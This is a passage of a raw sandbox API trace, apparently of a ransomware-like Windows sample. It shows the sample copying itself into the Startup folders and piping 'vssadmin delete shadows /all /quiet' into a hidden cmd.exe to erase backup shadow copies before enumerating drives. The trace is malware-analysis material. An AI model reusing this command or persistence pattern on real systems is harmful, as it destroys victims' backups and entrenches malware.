(HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.503] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x545930 [0032.503] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.503] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x5458e0 [0032.503] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.503] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.503] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0032.503] lstrlenW (lpString="kernel32.dll") returned 12 [0032.503] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545930 | out: hHeap=0x510000) returned 1 [0032.503] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.503] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5458e0 | out: hHeap=0x510000) returned 1 [0032.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uyuquk.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0032.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0032.507] ReadFile (in: hFile=0xe4, lpBuffer=0x2140020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2140020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0032.519] WriteFile (in: hFile=0xe8, lpBuffer=0x2140020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2140020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0032.521] ReadFile (in: hFile=0xe4, lpBuffer=0x2140020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2140020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0032.521] CloseHandle (hObject=0xe8) returned 1 [0032.522] CloseHandle (hObject=0xe4) returned 1 [0032.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.522] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x5458e0 [0032.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.522] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x545930 [0032.523] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.523] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.523] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0032.523] lstrlenW (lpString="kernel32.dll") returned 12 [0032.523] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545930 | out: hHeap=0x510000) returned 1 [0032.523] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.523] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5458e0 | out: hHeap=0x510000) returned 1 [0032.523] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x2140020 | out: hHeap=0x510000) returned 1 [0032.529] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x56d438 [0032.530] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57d440 [0032.530] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.530] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x5458e0 [0032.530] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5458e0, Size=0x40) returned 0x546a38 [0032.530] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a38, Size=0x80) returned 0x56b450 [0032.530] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b450, Size=0x100) returned 0x547bb0 [0032.530] lstrlenW (lpString="") returned 0 [0032.530] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.530] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x547cb8 [0032.530] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0032.532] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x57d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0032.533] RegCloseKey (hKey=0xe4) returned 0x0 [0032.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547cb8 | out: hHeap=0x510000) returned 1 [0032.533] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0032.533] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547bb0 | out: hHeap=0x510000) returned 1 [0032.533] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe", lpDst=0x56d438, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe") returned 0x48 [0032.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d440 | out: hHeap=0x510000) returned 1 [0032.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56d438 | out: hHeap=0x510000) returned 1 [0032.533] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x2140020 [0032.533] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.533] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x5458e0 [0032.533] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.533] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x545930 [0032.533] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.533] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.533] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0032.533] lstrlenW (lpString="kernel32.dll") returned 12 [0032.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5458e0 | out: hHeap=0x510000) returned 1 [0032.533] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545930 | out: hHeap=0x510000) returned 1 [0032.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uyuquk.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0032.534] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0032.538] ReadFile (in: hFile=0xe4, lpBuffer=0x2140020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2140020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0032.550] WriteFile (in: hFile=0xe8, lpBuffer=0x2140020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2140020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0032.553] ReadFile (in: hFile=0xe4, lpBuffer=0x2140020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2140020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0032.553] CloseHandle (hObject=0xe8) returned 1 [0032.554] CloseHandle (hObject=0xe4) returned 1 [0032.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.554] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x545930 [0032.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.554] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x5458e0 [0032.554] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.554] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.554] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0032.554] lstrlenW (lpString="kernel32.dll") returned 12 [0032.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5458e0 | out: hHeap=0x510000) returned 1 [0032.554] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545930 | out: hHeap=0x510000) returned 1 [0032.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x2140020 | out: hHeap=0x510000) returned 1 [0032.559] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b428 | out: hHeap=0x510000) returned 1 [0032.559] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b430 | out: hHeap=0x510000) returned 1 [0032.559] lstrlenW (lpString="%windir%\\System32") returned 17 [0032.559] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5469a8 | out: hHeap=0x510000) returned 1 [0032.559] lstrlenW (lpString="%appdata%") returned 9 [0032.559] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524398 | out: hHeap=0x510000) returned 1 [0032.559] lstrlenW (lpString="%sh(Startup)%") returned 13 [0032.559] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0032.559] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0032.559] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5469f0 | out: hHeap=0x510000) returned 1 [0032.559] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.559] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x524370 [0032.559] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524370, Size=0x40) returned 0x5469f0 [0032.559] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5469f0, Size=0x80) returned 0x56b450 [0032.559] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.560] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x524370 [0032.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1fffc) returned 0x54b428 [0032.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x56d438 [0032.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57d440 [0032.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.560] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x524398 [0032.560] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524398, Size=0x40) returned 0x5469f0 [0032.560] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5469f0, Size=0x80) returned 0x56b4d8 [0032.560] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b4d8, Size=0x100) returned 0x547bb0 [0032.560] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547bb0 | out: hHeap=0x510000) returned 1 [0032.560] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56d438, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0032.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d440 | out: hHeap=0x510000) returned 1 [0032.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56d438 | out: hHeap=0x510000) returned 1 [0032.560] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0032.561] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0032.561] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0032.561] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0032.561] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x984, dwThreadId=0x988)) returned 1 [0032.579] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0032.579] WriteFile (in: hFile=0xec, lpBuffer=0x56b450*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x56b450*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0032.579] CloseHandle (hObject=0xfc) returned 1 [0032.579] CloseHandle (hObject=0xf8) returned 1 [0032.579] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b428 | out: hHeap=0x510000) returned 1 [0032.579] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0032.579] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b450 | out: hHeap=0x510000) returned 1 [0032.579] lstrlenW (lpString="%comspec%") returned 9 [0032.579] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0032.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0032.580] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544a30 [0032.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x544a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0032.580] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5247a8 [0032.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5247a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0032.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a48 [0032.581] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a48, Size=0x20) returned 0x524370 [0032.581] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524370, Size=0x40) returned 0x5469f0 [0032.581] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0032.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xd0) returned 0x547c28 [0032.581] GetLogicalDrives () returned 0x4 [0032.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10014) returned 0x54b428 [0032.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a48 [0032.581] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a48, Size=0x20) returned 0x524370 [0032.581] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524370, Size=0x40) returned 0x546a80 [0032.581] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a80, Size=0x80) returned 0x56b450 [0032.581] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b450, Size=0x100) returned 0x549198 [0032.581] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549198, Size=0x200) returned 0x549198 [0032.581] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549198, Size=0x400) returned 0x549198 [0032.581] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549198, Size=0x800) returned 0x5497b0 [0032.581] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5497b0, Size=0x1000) returned 0x55b448 [0032.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x56d438 [0032.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a48 [0032.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544b20 [0032.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524750 [0032.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544b38 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524760 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544b50 [0032.582] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524760, Size=0x8) returned 0x524760 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544b68 [0032.582] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524760, Size=0x10) returned 0x524718 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544b80 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544b98 [0032.582] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524718, Size=0x20) returned 0x547ab0 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544bb0 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524760 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544bc8 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544be0 [0032.582] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x547ab0, Size=0x40) returned 0x5452d8 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544bf8 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544c10 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544c28 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544c40 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544c58 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544c70 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x545320 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544c88 [0032.582] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5452d8, Size=0x80) returned 0x549198 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544ca0 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544cb8 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544cd0 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544ce8 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5497c8 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5497e0 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5497f8 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524718 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549810 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549828 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549840 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549858 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549870 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549888 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5498a0 [0032.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5498b8 [0032.583] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549198, Size=0x100) returned 0x549198 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5498d0 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5498e8 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549900 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x549918 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549930 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549948 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524728 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549960 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549978 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549990 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x547ab0 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5499a8 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5499c0 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x547ac0 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5499d8 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5499f0 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549a08 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549a20 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549a38 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549a50 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x549a68 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549a80 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x549a98 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ab0 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ac8 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ae0 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549af8 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x547ad0 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b10 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b28 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b40 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b58 [0032.583] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549198, Size=0x200) returned 0x549198 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b70 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5452d8 [0032.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b88 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549bc8 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549be0 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549bf8 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549c10 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549c28 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549c40 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549c58 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549c70 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549c88 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549ca0 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 